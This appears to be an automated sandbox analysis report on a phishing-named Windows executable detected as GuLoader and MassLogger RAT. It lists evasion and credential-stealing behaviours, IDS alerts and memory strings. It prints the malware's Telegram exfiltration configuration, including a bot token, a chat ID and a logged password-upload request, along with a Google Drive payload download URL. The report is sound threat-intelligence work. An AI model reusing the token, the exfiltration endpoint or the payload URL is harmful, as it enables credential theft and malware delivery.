Edit tour

Windows Analysis Report
REQUEST FOR QUOATION AND PRICES.exe

Overview

General Information

Sample name:	REQUEST FOR QUOATION AND PRICES.exe
Analysis ID:	1567431
MD5:	143edb6c5c1e1a1e06695965f2b5cb74
SHA1:	b43660357dbe4c3d84d4239b6273817b5eb1ff53
SHA256:	05814550e1562d4c54710804145c678b6191aab6a07c73e6f7902b1149bb020d
Tags:	exeuser-abuse_ch
Infos:

Detection

GuLoader, MassLogger RAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GuLoader

Yara detected MassLogger RAT

Yara detected Telegram RAT

AI detected suspicious sample

Disable Task Manager(disabletaskmgr)

Disables CMD prompt

Disables the Windows task manager (taskmgr)

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

REQUEST FOR QUOATION AND PRICES.exe (PID: 4256 cmdline: "C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe" MD5: 143EDB6C5C1E1A1E06695965F2B5CB74)

REQUEST FOR QUOATION AND PRICES.exe (PID: 7616 cmdline: "C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe" MD5: 143EDB6C5C1E1A1E06695965F2B5CB74)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendMessage"}

Threatname: MassLogger

{"EXfil Mode": "Telegram", "Telegram Token": "7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU", "Telegram Chatid": "7382809095"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000000A.00000002.2556507666.0000000034C9B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
0000000A.00000002.2556507666.0000000034C9B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.2556507666.0000000034C9B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000005.00000002.1644205426.00000000050C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: REQUEST FOR QUOATION AND PRICES.exe PID: 7616	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: REQUEST FOR QUOATION AND PRICES.exe PID: 7616	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: REQUEST FOR QUOATION AND PRICES.exe PID: 7616	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 2 entries

Suricata Signatures

ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T15:23:01.791954+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	49830	149.154.167.220	443	TCP
2024-12-03T15:23:06.396891+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	49844	149.154.167.220	443	TCP
2024-12-03T15:23:10.145994+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	49852	149.154.167.220	443	TCP
2024-12-03T15:23:13.917148+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	49863	149.154.167.220	443	TCP
2024-12-03T15:23:17.893806+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	49875	149.154.167.220	443	TCP
2024-12-03T15:23:21.905465+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	49883	149.154.167.220	443	TCP
2024-12-03T15:23:25.604826+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	49894	149.154.167.220	443	TCP
2024-12-03T15:23:29.303112+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	49903	149.154.167.220	443	TCP
2024-12-03T15:23:32.999234+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	49913	149.154.167.220	443	TCP
2024-12-03T15:23:37.577523+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	49925	149.154.167.220	443	TCP
2024-12-03T15:23:41.186381+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	49935	149.154.167.220	443	TCP
2024-12-03T15:23:44.858088+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	49943	149.154.167.220	443	TCP
2024-12-03T15:23:48.483823+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	49951	149.154.167.220	443	TCP
2024-12-03T15:23:52.010679+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	49962	149.154.167.220	443	TCP
2024-12-03T15:23:55.703363+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	49968	149.154.167.220	443	TCP
2024-12-03T15:23:59.435944+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	49978	149.154.167.220	443	TCP
2024-12-03T15:24:05.296567+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	49980	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T15:22:51.057369+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49802	132.226.247.73	80	TCP
2024-12-03T15:22:59.588677+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49802	132.226.247.73	80	TCP
2024-12-03T15:23:04.323085+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49838	132.226.247.73	80	TCP
2024-12-03T15:23:08.010701+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49850	132.226.247.73	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T15:22:42.735160+0100	2803270	2	Potentially Bad Traffic	192.168.2.7	49780	172.217.19.174	443	TCP

HTTP traffic detected: POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd13868a3c5d2eHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034D57000.00000004.00000800.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034DAA000.00000004.00000800.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034C9B000.00000004.00000800.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034EC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034D57000.00000004.00000800.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034DAA000.00000004.00000800.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034BC0000.00000004.00000800.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034EC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034D57000.00000004.00000800.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034BAD000.00000004.00000800.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034DAA000.00000004.00000800.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034C9B000.00000004.00000800.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034BC0000.00000004.00000800.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034EC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034B41000.00000004.00000800.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2558244299.0000000037416000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2558244299.0000000037416000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/D7~
Source: REQUEST FOR QUOATION AND PRICES.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034BD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034B41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034D57000.00000004.00000800.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034DAA000.00000004.00000800.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034C9B000.00000004.00000800.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034EC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034C9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034EC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382
Source: REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000003.1739292779.00000000045CC000.00000004.00000020.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000003.1739369349.00000000045CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2536020620.0000000004558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2536020620.0000000004558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/T
Source: REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2536444589.00000000060C0000.00000004.00001000.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2536020620.0000000004593000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=119KyFiZiJfJBOPS6lEGdsdCsk4yk9tad
Source: REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2536020620.0000000004593000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=119KyFiZiJfJBOPS6lEGdsdCsk4yk9tad9
Source: REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000003.1797285940.00000000045CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000003.1739292779.00000000045CC000.00000004.00000020.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000003.1739369349.00000000045CC000.00000004.00000020.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2536020620.00000000045B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=119KyFiZiJfJBOPS6lEGdsdCsk4yk9tad&export=download
Source: REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034BC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034BC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034BC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.228
Source: REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000003.1739292779.00000000045CC000.00000004.00000020.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000003.1739369349.00000000045CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000003.1739292779.00000000045CC000.00000004.00000020.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000003.1739369349.00000000045CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js
Source: REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000003.1739292779.00000000045CC000.00000004.00000020.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000003.1739369349.00000000045CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com/_/translate_http/_/js/;report-uri
Source: REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000003.1739292779.00000000045CC000.00000004.00000020.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000003.1739369349.00000000045CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000003.1739292779.00000000045CC000.00000004.00000020.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000003.1739369349.00000000045CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000003.1739292779.00000000045CC000.00000004.00000020.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000003.1739369349.00000000045CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000003.1739292779.00000000045CC000.00000004.00000020.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000003.1739369349.00000000045CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000003.1739292779.00000000045CC000.00000004.00000020.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000003.1739369349.00000000045CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943

Source: unknown	HTTPS traffic detected: 172.217.19.174:443 -> 192.168.2.7:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.97:443 -> 192.168.2.7:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49830 version: TLS 1.2

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Code function: 5_2_004052D3 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

5_2_004052D3

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 5_2_0040335A EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,		5_2_0040335A
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_0040335A EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,		10_2_0040335A

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

File created: C:\Windows\resources\0809

Jump to behavior

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 5_2_00404B10	5_2_00404B10
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 5_2_0040653F	5_2_0040653F
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_00404B10	10_2_00404B10
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_0040653F	10_2_0040653F
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_00114328	10_2_00114328
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_0011E6A8	10_2_0011E6A8
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_001127B9	10_2_001127B9
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_00118DA0	10_2_00118DA0
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_00115968	10_2_00115968
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_00115F90	10_2_00115F90
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_0011E6A7	10_2_0011E6A7
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_00112DD1	10_2_00112DD1
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DD624F	10_2_36DD624F
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DD1608	10_2_36DD1608
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DDD788	10_2_36DDD788
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DDAF80	10_2_36DDAF80
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DDA928	10_2_36DDA928
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DD5B28	10_2_36DD5B28
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DDCED8	10_2_36DDCED8
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DDCED7	10_2_36DDCED7
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DDA4D0	10_2_36DDA4D0
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DDA4C0	10_2_36DDA4C0
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DDE6F0	10_2_36DDE6F0
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DDCA80	10_2_36DDCA80
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DDF850	10_2_36DDF850
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DDF84F	10_2_36DDF84F
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DDCA79	10_2_36DDCA79
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DDA078	10_2_36DDA078
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DDA077	10_2_36DDA077
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DD9C1F	10_2_36DD9C1F
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DDE60F	10_2_36DDE60F
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DD1603	10_2_36DD1603
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DDC628	10_2_36DDC628
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DDC627	10_2_36DDC627
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DD9C20	10_2_36DD9C20
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DDC1D0	10_2_36DDC1D0
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DDC1C9	10_2_36DDC1C9
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DD97C8	10_2_36DD97C8
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DDF3F8	10_2_36DDF3F8
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DDF3F7	10_2_36DDF3F7
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DDEF90	10_2_36DDEF90
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DDD787	10_2_36DDD787
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DD5180	10_2_36DD5180
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DD97B9	10_2_36DD97B9
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DDEFA0	10_2_36DDEFA0
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DDEB48	10_2_36DDEB48
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DDEB47	10_2_36DDEB47
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DDBD78	10_2_36DDBD78
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DD9370	10_2_36DD9370
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DD5170	10_2_36DD5170
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DDAF70	10_2_36DDAF70
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DD936F	10_2_36DD936F
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DDBD68	10_2_36DDBD68
